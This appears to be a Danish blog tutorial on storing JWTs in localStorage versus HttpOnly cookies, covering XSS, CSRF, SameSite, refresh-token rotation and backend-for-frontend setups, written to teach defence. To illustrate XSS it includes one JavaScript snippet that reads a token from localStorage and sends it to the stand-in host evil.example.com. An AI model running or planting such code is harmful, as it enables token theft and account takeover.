Den dag min JWT forsvandt i localStorage (og dukkede op i et cookie-helvede)

Den dag min JWT forsvandt i localStorage (og dukkede op i et cookie-helvede)

De fleste tror, det handler om at vælge mellem “cookies” eller “localStorage”. Det passer ikke. Det handler om, hvilke angreb du reelt gider beskytte dig imod, og hvad du er villig til at leve med i din arkitektur.

Jeg fandt selv ud af det på den hårde måde, da et tilsyneladende simpelt valg om “JWT i cookies vs localStorage” endte i en produktion med 401-loops, mystiske CORS-fejl og brugere der ikke kunne logge ud. Alt sammen fordi jeg ikke havde tænkt trusselsmodellen igennem.

Hvad vi faktisk prøver at undgå (trusselsmodellen på 5 linjer)

Inden vi snakker om jwt i cookies, jwt i localStorage og alle de fine flag, er der fire problemer at holde styr på:

  • XSS (Cross Site Scripting): Ond JavaScript-kode kører i din side og kan læse/ændre ting.
  • CSRF (Cross Site Request Forgery): En anden side laver requests som brugeren med deres cookies.
  • Token theft: Din JWT bliver stjålet og brugt fra en anden maskine.
  • Session fixation / infinite sessions: Tokens udløber ikke rigtigt, eller kan misbruges længe.

Valget mellem cookies og localStorage er ikke egentlig et spørgsmål om “hvad er moderne”, men om:

  • Vil du hellere have besværlige CSRF-beskyttelser eller leve med større XSS-risiko?
  • Hvordan ser din frontend-arkitektur ud (klassisk server-renderet, SPA, mobilklienter)?

Så lad os starte i den ende, hvor mange begynder, fordi det føles nemt.

JWT i localStorage: hvad går der præcist galt ved XSS?

Det klassiske scenarie: Du bygger en SPA, du har et API på api.example.com, og du vil gerne slippe for alt med cookies, CORS-credentials og SameSite. Så du gør noget i stil med:

// Efter login
localStorage.setItem('access_token', jwtFromServer)

// Ved hvert API-kald
const token = localStorage.getItem('access_token')
fetch('https://api.example.com/profile', {
  headers: {
    Authorization: `Bearer ${token}`
  }
})

Det føles rart. DevTools viser requesten med fin Authorization-header. Intet cookie-halløj. Du har fuld kontrol i JavaScript.

Problemet er, at din token nu lever i et miljø, hvor enhver XSS kan gøre:

const stolen = localStorage.getItem('access_token')
fetch('https://evil.example.com/steal?token=' + encodeURIComponent(stolen))

Og så er skaden sket. Angriberen kan nu bruge tokenen fra sin egen maskine, indtil den udløber eller bliver revokeret.

“Men jeg har jo ikke XSS”

Det troede jeg også. Indtil nogen smed en uskyldig lille rich-text editor ind, hvor man kunne gemme HTML, der senere blev vist uden ordentlig escaping.

Typiske XSS-veje, der rammer webapps med jwt i localStorage:

  • Brugergenereret HTML, der bare bliver sat ind med innerHTML.
  • Frontend-templates, der ikke escaper korrekt.
  • 3. parts scripts, der bliver kompromitteret (CDN eller npm-pakker).

Så snart en angriber kan få lov at køre bare en linje JS i din origin, kan de læse localStorage og sessionStorage. Det er hele pointen.

LocalStorage er ikke altid forkert

Jeg bruger stadig localStorage til ting, hvor det ikke gør noget, at en angriber kan læse det. Feature-flags, UI-tilstand, tema osv.

Men access-tokens og refresh-tokens der giver adgang til brugerkontoen, det er en anden liga.

Hvis du vælger localStorage til auth alligevel, så er det kun forsvarligt, hvis du samtidig:

  • Har en stram Content Security Policy.
  • Har XSS-scan/pen tests og regelmæssige reviews af alle steder, hvor du bruger innerHTML.
  • Bruger korte lived tokens og aggressiv rotation.

Og selv der vil mange sikkerhedsfolk stadig rynke på næsen.

JWT i cookies: hvad du vinder, og hvad du pludselig skylder

Hvis du flytter dine tokens over i cookies, ændrer trusselsbilledet sig:

  • Hvis din cookie er HttpOnly, kan JavaScript ikke læse den.
  • Browsere sender automatisk cookie med alle requests til origin (eller domæne efter dine flags).
  • Angriberen kan ikke bare stjæle tokenen via ny JS-kode, men kan ofte stadig få din browser til at sende den.

Illustration i pseudo:

HTTP/1.1 200 OK
Set-Cookie: access_token=eyJhbGciOi...; 
  Path=/; HttpOnly; Secure; SameSite=Lax

Din frontend skal ikke længere håndtere Authorization-headeren. Du kalder bare APIet, og browseren sørger for resten:

fetch('/api/profile', { credentials: 'include' })

Så hvad vinder du?

  • Tokenen kan ikke læses fra JS, hvis HttpOnly er sat.
  • Du undgår at lække tokens i logs, localStorage snapshots, random debug-udskrifter.
  • Du kan (med den rigtige opsætning) få et klassisk session-flow i din full stack arkitektur.

Og hvad skylder du?

  • Du skal tage CSRF alvorligt.
  • Du skal forstå SameSite-indstillingerne og deres konsekvenser for logins.
  • Du skal ofte slås mere med CORS og domains/subdomains.

SameSite=Lax/Strict/None forklaret med rigtige flows

SameSite styrer, hvornår browseren sender cookies med cross-site requests.

Forestil dig, at dit API er på https://api.example.com, og din frontend er på https://app.example.com.

SameSite=Strict

Cookie sendes kun, når brugeren er på samme site. Ingen cross-site navigationer, ingen iframes, ingen requests trigget fra andre sites.

Typisk brug: Admin-paneler, hvor du vil være ultra paranoid, og hvor alt foregår på samme origin.

SameSite=Lax

Standard i mange browsere. Cookie sendes ved top-level navigations (link-kliks), men ikke ved baggrundsrequests fra andre sites.

I praksis betyder det:

  • Direkte klik på login-link fra en mail til dit site: cookie virker.
  • Ond side der prøver at lave et <form>-POST i baggrunden til dit site: blokeret mod mange CSRF-scenarier.

Godt default, hvis din frontend og backend deler domæne.

SameSite=None; Secure

Du vælger eksplicit at sige: Send cookie ved cross-site requests, men kun over HTTPS.

Det er typisk den, du ender med, hvis du har:

  • Frontend på eget domæne (f.eks. Vercel) og backend et andet sted.
  • Flere subdomæner, der skal dele session.

Og det er her CSRF igen banker på døren.

HttpOnly + Secure: hvad en SPA faktisk kan og ikke kan

HttpOnly betyder, at JavaScript ikke kan læse cookien via document.cookie. Den bliver kun sendt automatisk med HTTP-requests.

Secure betyder, at cookien kun sendes over HTTPS.

Det lyder trygt. Men for din SPA betyder det:

  • Du kan ikke lige læse tokenen og vise dens exp eller sub i UI.
  • Du kan ikke manuelt tilføje Authorization-header uden også at have en kopi af tokenen et andet sted.
  • Logout skal ske server-side ved at udløbe/cleare cookien.

Det rigtige mindset: Når du vælger HttpOnly-cookies, vælger du et sessions-centreret setup, hvor serveren bestemmer meget mere, og klienten er tyndere hvad angår auth-logik.

Det kan en SPA sagtens leve med, men det kræver, at du designer dine endpoints efter det.

CSRF vs XSS i JWT-verdenen

CSRF handler om, at en anden origin kan få din browser til at sende en request med dine cookies.

XSS handler om, at en angriber kan køre JavaScript i din origin.

Med tokens i localStorage er du primært bange for XSS. Med tokens i cookies er du stadig bange for XSS (fordi angriberen kan kalde dit API fra din origin), men du har samtidig åbnet for CSRF, hvis du ikke har SameSite og evt. CSRF-tokens på plads.

Kort oversigt:

  • localStorage: XSS er katastrofalt, CSRF er som regel ikke relevant, fordi du sjældent bruger cookies.
  • HttpOnly cookies: XSS er stadig farligt, men tokens er sværere at stjæle direkte. CSRF kan være et problem afhængigt af SameSite.

Refresh tokens: rotation, expiry og “silent refresh” uden magi

Uanset om du ender med jwt i cookies eller i localStorage, støder du næsten altid på refresh tokens. Typisk model:

  • Kortlevet access token (5-15 minutter).
  • Længerelevet refresh token (dage/uger).
  • Endpoint til at bytte refresh token til nyt access token.

Hvor skal refresh token bo?

Det letteste at drifte i dagligdagen:

  • Refresh token i HttpOnly-cookie med Secure og passende SameSite.
  • Access token enten også i cookie eller blot i hukommelsen (ikke localStorage).

Eksempel på svar efter login:

Set-Cookie: refresh_token=eyJhbGciOi...; 
  Path=/auth/refresh; HttpOnly; Secure; SameSite=Lax; Max-Age=1209600

Set-Cookie: access_token=eyJhbGciOi...; 
  Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=900

Din SPA laver så et simpelt kald:

// kald når app loader, eller når du får 401 på et API-kald
await fetch('/auth/refresh', {
  method: 'POST',
  credentials: 'include'
})

Serveren tjekker refresh-token-cookien, roterer den og svarer med ny access_token-cookie.

Silent refresh uden hemmelige tricks

Den klassiske “silent refresh” i en SPA er bare:

  • Hold øje med om access token er udløbet (server svarer 401).
  • Prøv at kalde /auth/refresh én gang.
  • Hvis det lykkes, gentag original-request.
  • Hvis ikke, redirect til login.

Ingen iframes, ingen magi. Bare et lille retry-flow.

Tre setups du rent faktisk kan drifte

Nu til det, jeg selv savnede da jeg første gang stod med problemet: nogle reference-arkitekturer der faktisk kan bruges, uden at du drukner i CORS og underlige edge cases.

1. Klassisk MPA med HttpOnly cookies (server-renderet)

Hvis du har en server-renderet app (Django, Laravel, Rails, Next.js med server rendering og minimal SPA-magie), så er det her ofte det mest stabile:

  • Login endpoint svarer med Set-Cookie for session eller JWT.
  • Cookies: HttpOnly; Secure; SameSite=Lax.
  • Ingen localStorage til auth.
  • CSRF-token i et hidden input felt eller i en non-HttpOnly-cookie, der bruges som header.

Fordele:

  • Nærmest ingen CORS-issues, fordi alt er samme origin.
  • Velkendt model, masser af dokumentation.

Ulemper:

  • Mindre fleksibel, hvis du vil have native apps der bruger samme auth-flow.
  • Frontend er lidt mere bundet til backend.

2. SPA + BFF (Backend for Frontend) med HttpOnly cookies

Mit foretrukne setup i dag til større webapps:

  • SPA på f.eks. https://app.example.com.
  • BFF (en lille backend) på samme origin som SPA (samme domæne og port efter proxy).
  • BFF taler videre til interne APIs med service-tokens eller interne nøgler.
  • JWTs og refresh tokens bor i HttpOnly-cookies på BFF-origin.

Flow:

  1. Bruger logger ind via SPA -> request til /auth/login på BFF.
  2. BFF validerer brugeren, sætter Set-Cookie med tokens (HttpOnly + Secure).
  3. SPA kalder fremover bare /api/* på BFF med credentials: 'include'.
  4. BFF sørger for at vedhæfte tokens til interne API-kald.

Det løser en hel stribe problemer:

  • SPA’en skal ikke forstå alt om tokens, kun “jeg er logget ind/ud”.
  • Du holder tokens på serversiden og i cookies, hvor du nemmere kan styre rotation og logs.
  • CORS er langt mere til at leve med, fordi SPA og BFF deler origin.

Hvis du er i gang med at bygge noget større med frontend frameworks, er det her ofte stedet at lande.

3. API-first med public SPA og mobile klienter

Hvis din backend skal serve både web, mobil-apps, CLI osv., er du ofte nødt til at gå API-first:

  • Public SPA hostet på CDN/Vercel/GitHub Pages.
  • API på egen origin.
  • Mobile klienter der taler direkte til API.

Her kan en kombination give mening:

  • Mobil: klassisk Authorization: Bearer <token> med tokens i secure storage.
  • Web: HttpOnly-cookies til refresh token, access token kun i memory.

For webdelen kan flowet ligne:

  1. Bruger logger ind på SPA -> API svarer med HttpOnly refresh-cookie + access token i JSON.
  2. SPA gemmer access token i memory (ikke localStorage), f.eks. i en global store.
  3. Når app reloades, laver SPA et /auth/refresh-kald der bruger refresh-cookie.

Fordel: selv hvis du får XSS, er dit refresh token i HttpOnly-cookie lidt beskyttet. Angriberen kan dog stadig misbruge sessionen fra ofrets browser, så XSS-sikring er stadig nødvendig.

Fejlfinding: sådan læser du cookies, headers og CORS i DevTools

En stor del af forvirringen omkring “jwt i cookies vs localStorage” stammer fra, at man kun ser symtomet: “jeg får 401” eller “min cookie bliver ikke sendt”.

Jeg endte først med at forstå det, da jeg brugte en aften på at stirre på Chrome DevTools Network-tabben i stedet for min kode.

Tjek 1: Kommer Set-Cookie-headeren overhovedet frem?

I Chrome DevTools:

  1. Åbn Network-tab.
  2. Lav et login.
  3. Klik på login-requestet.
  4. Gå til “Headers” og kig efter Set-Cookie i Response Headers.

Hvis der ikke står noget, hjælper ingen mængde JavaScript dig. Så er problemet på serversiden.

Tjek 2: Bliver cookien gemt?

Gå til Application-tabben i DevTools. Under “Cookies” -> vælg dit domæne.

  • Tjek navn, domæne, path, Expires/Max-Age, HttpOnly, Secure, SameSite.

Typisk fejl: Domænet passer ikke til den origin, du laver requests fra, så cookien bliver aldrig sendt.

Tjek 3: Bliver cookien sendt med dit API-kald?

I Network-tab:

  1. Klik på et API-kald, f.eks. /api/profile.
  2. Under “Request Headers” -> kig efter “Cookie”.

Hvis den mangler, er det ofte fordi:

  • Du har glemt credentials: 'include' i fetch.
  • CORS-svaret mangler Access-Control-Allow-Credentials: true.
  • Din SameSite-indstilling blokerer i det scenarie, du tester.

Kombiner det her med dine CORS-indstillinger, og du har pludselig meget mere kontrol over, hvad der foregår.

Anti-mønstre der næsten altid giver problemer i produktion

Til sidst får du nogle mønstre, jeg enten selv har lavet eller set flere gange, som nærmest garanterer produktion-headaches.

Anti-mønster 1: Gem både refresh og access token i localStorage

Her kombinerer du:

  • Langlevet token.
  • Let at stjæle ved XSS.
  • Ingen god måde at revoke på, hvis det lækkes.

Hvis du absolut vil bruge localStorage, så brug det kun til kortlevet access token, og lad refresh token ligge i en HttpOnly-cookie.

Anti-mønster 2: SameSite=None uden CSRF-beskyttelse

Hvis du sætter:

Set-Cookie: session=...; SameSite=None; Secure

og du ikke samtidig har en CSRF-strategi (token i header, double submit cookie eller lignende), så har du bare åbnet hele døren:

  • Ond side kan få din browser til at POSTe til dit site med din session.

SameSite=None er et værktøj, ikke et “så virker det nok”-flag.

Anti-mønster 3: Blanding af cookie-sessioner og Authorization-header uden klar regel

En anden klassiker: Nogle requests bruger session-cookie, andre bruger Authorization-header med JWT, afhængig af hvor i appen du er.

Det fører ofte til:

  • Brugere der er “halvt logget ind”.
  • Logout der kun rydder den ene type auth.
  • Svære bugs, hvor noget virker i browseren men ikke i mobil-appen.

Vælg én hovedstrategi pr. klient-type, og hold dig til den.

Anti-mønster 4: Token-livstid på 24 timer “fordi login er irriterende”

Langlevet token + mulige XSS- eller session-tyveri-veje er en dårlig kombination.

Det føles rart i testmiljøet, når du ikke skal logge ind hele tiden. I produktion betyder det bare, at dine fejl hænger i alt for længe.

Brug hellere kortlevet access token og fornuftig refresh-strategi. Ja, det er lidt mere arbejde. Men det er også hele pointen med at tage auth alvorligt.

Hvor efterlader det dig, hvis du bare vil træffe et valg?

Hvis jeg skal skære det helt ned til noget, du kan bruge som tommelfingerregel:

  • Bygger du en klassisk webapp på ét domæne: Brug HttpOnly-cookies med SameSite=Lax, og tænk i sessions.
  • Bygger du en større SPA: Overvej seriøst et BFF-lag med HttpOnly-cookies.
  • Bygger du API-first til mange klienttyper: Hold refresh tokens i HttpOnly-cookies for web, og brug secure storage og Bearer-tokens for mobile.

Og hvis du allerede har smidt alt i localStorage, så er du ikke den første. Tag et par commits til at flytte det i en mere sikker retning. Din fremtidige dig, der skal drifte det her, vil takke dig. Måske.

Jeg gør det i hvert fald selv oftere, end jeg vil indrømme højt.

Undgå persistent storage ved at holde access tokens i hukommelsen (vil forsvinde ved reload) og brug korte levetider på tokens. Kombinér det med server-side refresh tokens (opbevaret sikkert), streng output-escaping, Content Security Policy (CSP) og Subresource Integrity for tredjeparts-scripts for at mindske XSS-flader.
Sæt cookies til HttpOnly, Secure og passende SameSite (lax eller strict) og kræv en anti-CSRF-token eller double-submit-cookie på state-ændrende requests. Suppler med origin/Referer-checks og undlad at acceptere credentials fra ukendte origins via CORS.
Rotation betyder, at serveren udsteder et nyt refresh token ved hver refresh og straks ugyldiggør det gamle. Hvis et gammel refresh token genbruges, kan du detektere kompromittering og tvinge logout, hvilket kraftigt begrænser vinduet for misbrug.
Implementer logout server-side ved at tilbagekalde/udløbe refresh tokens og slette cookies med samme attributter som ved login. Sørg for at klienten håndterer 401 korrekt (vis login-form i stedet for automatisk retry) og konfigurer CORS/credentials rigtigt, så redirects og cookie-sletning ikke fejler.

Lasse Falkenberg er typen, der begyndte at rode med HTML og CSS for at lave en simpel bandside – og opdagede, at det var langt sjovere at få knapperne til at virke end at stå på scenen. Siden har han kastet sig over alt fra små JavaScript-snippets til Python-scripts, der kan spare ham for kedeligt, manuelt arbejde i hverdagen.

Han har lært det meste ved at bygge ting, der lige præcis løser hans egne problemer: en lille webapp til at holde styr på brætspilsaftener, et script til at rydde op i rodede mapper, eller en enkel side til at dele noter med venner. Undervejs har han kæmpet sig gennem alle de klassiske fejl – semikolon, forkerte indrykninger og variabler, der hedder noget helt andet end man tror – og det er præcis den rejse, han deler på Coding Class.

På Coding Class skriver Lasse praktiske, jordnære guides, der tager udgangspunkt i små, konkrete opgaver: noget du kan se, teste og bygge videre på med det samme. Han elsker at bryde en opgave ned i små bidder, vise den fulde kode og forklare linje for linje, hvad der sker – inklusive de typiske bugs, du med stor sandsynlighed også støder på.

For Lasse handler kodning ikke om flotte titler eller store ord, men om følelsen af at få noget til at virke – og om at du som læser kan gå derfra med noget, du selv har bygget. Hvis du kan kende glæden ved at få en fejl til endelig at forsvinde, er du lige på bølgelængde med hans måde at lære fra sig på.

1 kommentar

comments user
Lotte

den med jwt i cookies gav mening, ka hjælpe min datter med skoleprojektet

Send kommentar

You May Have Missed